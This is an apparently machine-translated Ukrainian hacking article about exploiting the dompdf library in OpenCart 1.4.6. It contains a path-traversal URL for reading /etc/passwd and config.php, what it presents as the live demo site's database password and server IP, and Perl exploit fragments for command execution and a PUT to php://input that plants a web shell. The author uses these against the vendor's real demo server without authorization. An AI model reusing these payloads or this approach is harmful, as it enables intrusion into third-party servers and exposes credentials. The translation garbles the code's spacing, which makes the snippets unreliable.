Ось вона, весна - час депресій, березневих котів і дощів. Робити що-небудь зовсім не було бажання, але, як на зло, у мене звільнилася пара вечорів. Втрачати цей дорогоцінний час дуже вже не хотілося, тому я вирішив потренувати очі, покопавшись в PHP-движках. Ну, а раптом чого вигорить? Щоб дізнатися, що ж все-таки вийшло з комбінації OpenCart, пари вечорів і пари літрів кави, читай далі.
Справа була ввечері
Почав я за пошуки вразливостей, накачавши самих різних движків останніх версій. У процесі вивчення оних зупинився на движку онлайн-магазину OpenCart версії 1.4.6. Запустив самопальний баш-скрипт для пошуку підозрілих функцій. Серед усього іншого коду, який видав скрипт, мою увагу привернула наступна рядок:
eval ("?". "> $ str");
Ну-ка глянемо, що там у ведмедика всередині. Цей підозрілий шматок коду знаходиться у файлі system / helper / dompdf / include / dompdf.cls.php, на рядку 276 - туди і попрямуємо. Відкриваємо файл і бачимо, що знаходимося усередині методу load_html (), який приймає змінну $ str, і на даному етапі вона ніяк не фільтрується. Але, так як в цьому файлі знаходиться тільки один клас, нам треба знайти точку входження - скрипт, який доступний ззовні і працює з класом DOMPDF. Рівнем вище, в самій папці dompdf, лежать різні скрипти; почнемо перебирати їх в браузері. Відкриваємо перший-ліпший, а це dompdf.php! Бачимо, що скрипт лається, мовляв, не вистачає йому вхідних параметрів. З помилки зрозуміло, що йому потрібно одержати $ _GET ['input_file']. Ну що ж, задовольнимо його, але попередньо подивимося, що знаходиться всередині самого скрипта. А всередині - мішанина всяких умов. Щоб дізнатися, як далеко скрипт виконався, я зазвичай розставляю в самих різних місцях налагодження повідомлення типу:
printf ("File:% s, line:% d", __FILE__, __LINE__);
Трохи помучив скрипт, я встановив наступне: якщо вказати необхідний параметр input_file, то він потрапляє в метод load_html_file () класу DOMPDF. Цей метод, в свою чергу, намагається прочитати файл в рядок за допомогою функції file_get_contents (), а потім передає вміст в метод load_html (). І відбувається все це без будь-яких фільтрацій. Чи то розробники сподівалися на те, що користувачі цієї бібліотеки будуть всі фільтрувати, чи то вони дуже наївні і залишили все на волю долі. Як би там не було, це грає нам на руку. Слідуючи логіці роботи скрипта, виходить, що ми можемо читати файли. Перевіримо цю справу. У браузері я набрав:
http://localhost/h/opencart_v1.4.6/upload/system/helper/dompdf/dompdf.php?input_file=../../../../../../etc/passwd
О, так, ми отримали / etc / passwd у вигляді PDF-файлу. Виходячи з того, для яких цілей служить бібліотека, цього можна було очікувати.
Пишемо експлойт
Читати довільні файли, нехай і в такій збоченій формі - це непогано, але хотілося чогось більшого. Вже дуже сильно eval () муляв очі - не можна упускати можливість виконати PHP-код. У цьому випадку було б достатньо заінклудіть будь-який файл, що містить код, і він би успішно виконався. Але у своєму експлойт для цього движка я хотів зробити віддалене виконання команд без інклуда сторонніх файлів. Починаючи з версії PHP 5.2.0 підтримується обгортка data:, яку і було вирішено задіяти. Протокол data був описаний в 127 номері журналу, так що звертайся туди, а ми їдемо далі.
Як завжди, експлойт я писав на своєму улюбленому Perl. У цілому, експлойт буде зрозумілий і недосвідченому в Perl людині, але там я застосував один трюк з башем. Щоб тебе не бентежити, про всяк випадок поясню наступний рядок:
$ Cmd = encode_base64 ($ cmd. '| Sed-e: a-e \' $! N; s / \ n / <br\/> /; ta \'');
У змінній $ cmd міститься введена тобою команда, допустимо, ls-la. Склеюємо її з тим однострочніком, що справа. Цей сниппет з sed я застосував лише для того, щоб перетворити переноси рядків у '<br/>', так як в отриманій PDF застосовується HTML-форматування. У підсумку вийде наступна команда:
ls-la | sed-e: a-e '$! N; s / \ n / <br\/> /; ta'
Через пайп передаємо результат першої команди в sed, який займається форматуванням. Все це добро ми перекодіруем в base64 і вставляємо в черговий шматок коду.
my $ tobase64php = "<? php \ @ system (base64_decode ('$ cmd'));";
my $ payload = 'data:; base64,'. encode_base64 ($ tobase64php);
Ну, а тут тобі вже повинно бути все зрозуміло - дуже схоже на горезвісний PHP.
Сам експлойт дозволяє виконувати системні команди, а результат приходить у вигляді PDF-файлу. Тут я подумав: а що, якщо за мене вже зробили всю роботу? Зовсім забув погуглити на предмет наявності вразливостей під цей движок. Пошук за останньою версією OpenCart нічого не дав, були лише старі уразливості. А от за "dompdf exploit" (це все-таки стороння бібліотека) дещо знайшлося. Benj Carson з "YGN Ethical Hacker Group" повідомляв про уразливість, яка полягає в тому, що можна завантажувати будь-які файли у форматі PDF (що я і розкопав). Проте мій експлойт використовує більш широкі можливості уразливості, до того ж, про уразливість в OpenCart повідомлено не було.
А що, якщо ..?
Отже, експлойт для двигунця був готовий, але тут я згадав про одну річ. Коли я скачував движок, то помітив, що сайт надає онлайнову демо-версію. Здогадуєшся, про що я? Так точно, ми будемо штурмувати оффсайт! Не завжди, звичайно, випадає таке щастя як уразливий движок на самому сайті розробника, але спробувати варто. Хто не ризикує, той не п'є шампанське. Першим ділом я відразу поліз перевіряти, що виплюне уразливий скрипт. У моєму випадку (на локальному сервері) він лаявся на невизначені параметри. Але в демоверсії сайту цілком може бути версія скрипта свіжіше і без уразливості, або взагалі відсутні такий скрипт. Там часто в цілях безпеки обрізають все, що тільки можна. Як би там не було, йдемо за наступним посиланням:
demo.opencart.com / system / helper / dompdf / dompdf_main.php
Скрипт лається точно також, як і на моєму сервері. Це добре, можемо продовжувати експерименти. На той момент була лише одна ідея - застосувати свіжовичавлений експлойт. Набираємо в консолі:
perl dompdf.pl-u = http://demo.opencart.com/-c = 'ls-la'
Дивимося результат в збереженої PDF'ке. Відкриваємо, а там лаються: неправильний формат PDF-файлу. Вирішив подивитися, що ж взагалі сервер віддав в якості змісту файлу. Перейменував файл у текстовік, а всередині помилка PHP:
URL file-access is disabled in the server configuration in ...
І бла-бла-бла. Це могло означати, що у них на сервері PHP сконфігурований як allow_url_fopen = off. При такому розкладі протокол data не працює, і, природно, RFI тут теж не пройде. Прикро, звичайно, але мене це не зупинило - я вирішив шукати інший спосіб дістати шелл на оффсайте движка.
До речі, на локальному сервері бажано мати ту ж конфігурацію, що і на уразливому, щоб максимально наблизити обставини локального тестування до реальних. Тому я і в себе виставив allow_url_fopen = off, щоб у майбутньому не наступати на граблі. Проте, коли тестіруешь движки, варто настроювати PHP на саму м'яку конфігурацію.
Серія невдач ...
Спочатку я хотів подивитися, як працює уразливість на оффсайте движка. Раптом читати файли зовсім не вийде? Але чого ворожити - набираємо в браузері:
http://demo.opencart.com/system/helper/ … etc/passwd
І викачуємо PDF-файл зі списком користувачів системи. Непогано, але це нам мало допоможе. Я взявся за пошуки конфігураційних файлів в надії знайти аутентифікаційні дані. Прямо в корені системи OpenCart лежить config.php. Але май на увазі, що, перш ніж завантажувати PHP-файл, нам треба його в що-небудь перетворити, інакше він просто виконається як код. Значить, отруйний URL набуває такого вигляду:
http://demo.opencart.com/system/helper/ … config.php
Тут я використав фільтр потоку, який з'явився в PHP з версії 5.0.0. Таким чином, прочитаний файл перетворюється в рядок, закодовану за допомогою base64. Між іншим, хороший спосіб читати бінарники. Отже, використовуючи вразливість, я успішно завантажив вміст файлу у вигляді PDF. Розкодувати назад отриманий рядок, я отримав наступне:
<? Php
...
/ / DB
define ('DB_DRIVER', 'mysql');
define ('DB_HOSTNAME',
'Localhost');
define ('DB_USERNAME',
'Opencart_user');
define ('DB_PASSWORD',
'| L $ Ik | S; 15Yf');
define ('DB_DATABASE',
'Opencart_demo');
define ('DB_PREFIX','');
?>
Тепер є логін і пароль користувача MySQL. Треба перевірити сервер на наявність відкритого порту 3306. З забугорного Дедик запускаю:
nmap 85.13.246.138-p 3306
nmap повідомляє про те, що порт відкритий. З того ж Дедик пробуємо:
mysql-h 85.13.246.138-u opencart_user-p
У нас запитують пароль. Вводимо його, але нас шлють лісом. Численні спроби з різних серверів, через різні проксі і різні методи не дають жодних результатів: то невірний пароль, то незрозуміла каша замість запрошення, то зриви з'єднання. Прикро й незрозуміло. Облом номер один.
Потім мені прийшла в голову одна ідея. Якщо інклуд видалених файлів і протокол data заборонені, то що буде, якщо спробувати знайти в демоверсії сайту завантаження файлів? Нам би в нагоді й завантаження картинок. Заінклудів картинку з PHP-кодом, ми могли б його виконати. На жаль, пошук по демонстраційній версії адмінки не приніс ніяких результатів. Адаменко була урізана в правах і не можна було вантажити навіть картинки. Облом номер два.
Потім я вирішив взятися за враппери PHP, поворожити з ними - раптом що вигорить. Але все безрезультатно. Ситуація така: віддалені файли читати не можна, локальні файли можна отримати у вигляді PDF і можна виконувати PHP-код локальних файлів. Але користі від цього всього немає, якщо немає можливості виконати саме свій код. Тоді я згадав про інклуд PHP-коду в локальні файли. Але як я не намагався, ні старий трюк з лог-файлами apache, ні метод с / proc теж не допомогли. Це був облом номер три.
... Але в підсумку моя взяла
Все це починало діяти на нерви - є і вразливість, і конфіг з паролем до бази даних, але всюди мене шлють лісом. Залишивши цю справу на наступний день, я пішов спати. Як говориться, ранок вечора мудріший.
На наступний день я знову взявся курити мануали по PHP і розгрібати вразливу бібліотеку. Згадуючи про обгортки, фільтри та інше, я згадав про php: / / input. Ця обгортка дозволяє читати POST дані, і незалежна від будь-яких директив PHP. Загалом, затія моя була така: замість файлу підставити цю обгортку, а потрібний код послати в POST-масиві. У результаті рядок запиту в експлойт повинна бути такою:
http://.../dompdf.php?input_file=php://input
Швидко накидавши на коліні Perl-скрипт, я почав тестувати цей метод. Але був страшенно засмучений. Дані, що приймаються з POST-масиву, приходили як закодовані URL-еквіваленти; до того ж повністю приходило як вміст, так і назва змінної. Тобто, виходило таке неподобство:
var =% 3C% 3Fphp% 20echo% 28999% 29% 3B
Зрозуміло, що це не буде виконуватися як код. Знову треба було думати і шукати альтернативні варіанти, але ж щастя було так близько.
У пошуках методів модифікації значень, що передаються через php: / / input я набрів на метод PUT. Треба б спробувати його - він простіше, ніж POST, але підтримується не всіма серверами і не завжди. Отже, замінивши POST на PUT, пробуємо послати яку-небудь рядок, яка повинна виконатися як PHP-код. І що ти думаєш? Це прокотили, скрипт отримує чистий рядок, код виконується. Другий експлойт заснований на методі за PUT і php: / input, він завантажує довільні файли на сервер з уразливою бібліотекою, діючи в кілька етапів.
Ось шматок з експлойта:
my $ tmp_shell = <<'B64';
<? Php
if (@ move_uploaded_file ($ _FILES ['fi'] ['tmp_name'],$_ FILES [' fi '] [' name ']))
{
echo (9);
@ Unlink (__FILE__);
}
B64
my $ shell64 = encode_base64 ($ tmp_shell);
my $ tophp = sprintf ("<? php eval (base64decode ('% s'));", encode_base64 (" file_put_contents (' i.php ', base64_decode (' $ shell64'));"));
# Stage 1, exploiting DOMPDF vulnerability.
my $ req = PUT "$ url / dompdf.php? input_file = php: / / input", Content => $ tophp;
У змінній $ tmp_shell у нас тимчасовий міні-шелл. Його завдання - завантажити файл (для нас переважно повноцінний шелл) і видалити самого себе. Цей міні-шелл буде записаний у файл i.php при виконанні PHP-коду. В останньому рядку у нас знаходиться перловий запит PUT. У принципі, тут все повинно бути інтуїтивно зрозуміло. Цей і найперший експлойти шукай на диску.
Таким чином, виріс другий експлойт, орієнтований на варіант, коли allow_url_fopen = off. На локальному сервері всі чудово працює, шелл заливається. Тепер залишається схрестити пальці і запустити наш експлойт проти демоверсії сайту. Знову з'єднуюся зі своїм Дедик і запускаю звідти експлойт:
www-data @ sd: / var / www / lib $. / e.pl-u = http://demo.opencart.com/-s =. / logs.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
wwwopencart.com exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[~] Exploiting http://demo.opencart.com/
[+] Ok, uploading shell ...
[+] Ok, response [9], checking for shell.
[+] Ok, shell: http://demo.opencart.com/system/helper/dompdf/newi.php
Як ти розумієш, тепер мені пощастило, і шелл залився. Перебуваючи всередині сервера, я побачив, що адміни сервера поотрубалі безліч небезпечних функцій PHP, непогано налаштували PHP-конфіг, але це їх не врятувало. Спочатку поставлена мною мета була досягнута - подолати перший рубіж, залити шелл. Перебуваючи на сервері, можна було дамп базу даних, рута сервер, дефейсів і так далі, але це не входило в мої плани. Я поступив більш гуманно, повідомивши адміністраторам про уразливість. Адміни пожвавішали в той же день, так що на оффсайте остання версія (1.4.6) не піддається експлойт. Тому можна наткнутися як на уразливий, так і на чистий движок однієї і тієї ж версії.
Хепі енд
Який урок можна винести з цієї історії? Атакуючої стороні - не здаватися і не відступати, а ворушити мізками і шукати шляхи обходу. Як ти міг спостерігати, для того, щоб потрапити на сервер, мені довелося перебрати чимало різних технік і методів експлуатації вразливостей. Що з приводу розробників, то є таке прислів'я: "довіряй, але перевіряй". У движку, з яким ми працювали, була застосована вразлива стороння бібліотека, що і стало причиною успішної атаки. Але ж про уразливість було відомо ще до мого експлойта. Це говорить про те, що розробники движка не цікавляться безпекою, які не читають багтрекі, та й аудит своєї системи в цілому не проводять. У підсумку фінал такий, як він є. Але одне було зроблено правильно. Самі исходники движка знаходяться на хостингу від Google. Можливо, якщо добре пошукати, то можна й на оффсайте знайти аутентифікаційні дані для хостингу проекту, але це вже вимагатиме трохи більших зусиль. Крім безпеки, це знижує навантаження на сервер, залишається більше місця, не витрачається трафік. Загалом, вчися, не зашкодь і використовуй знання в благих намірах.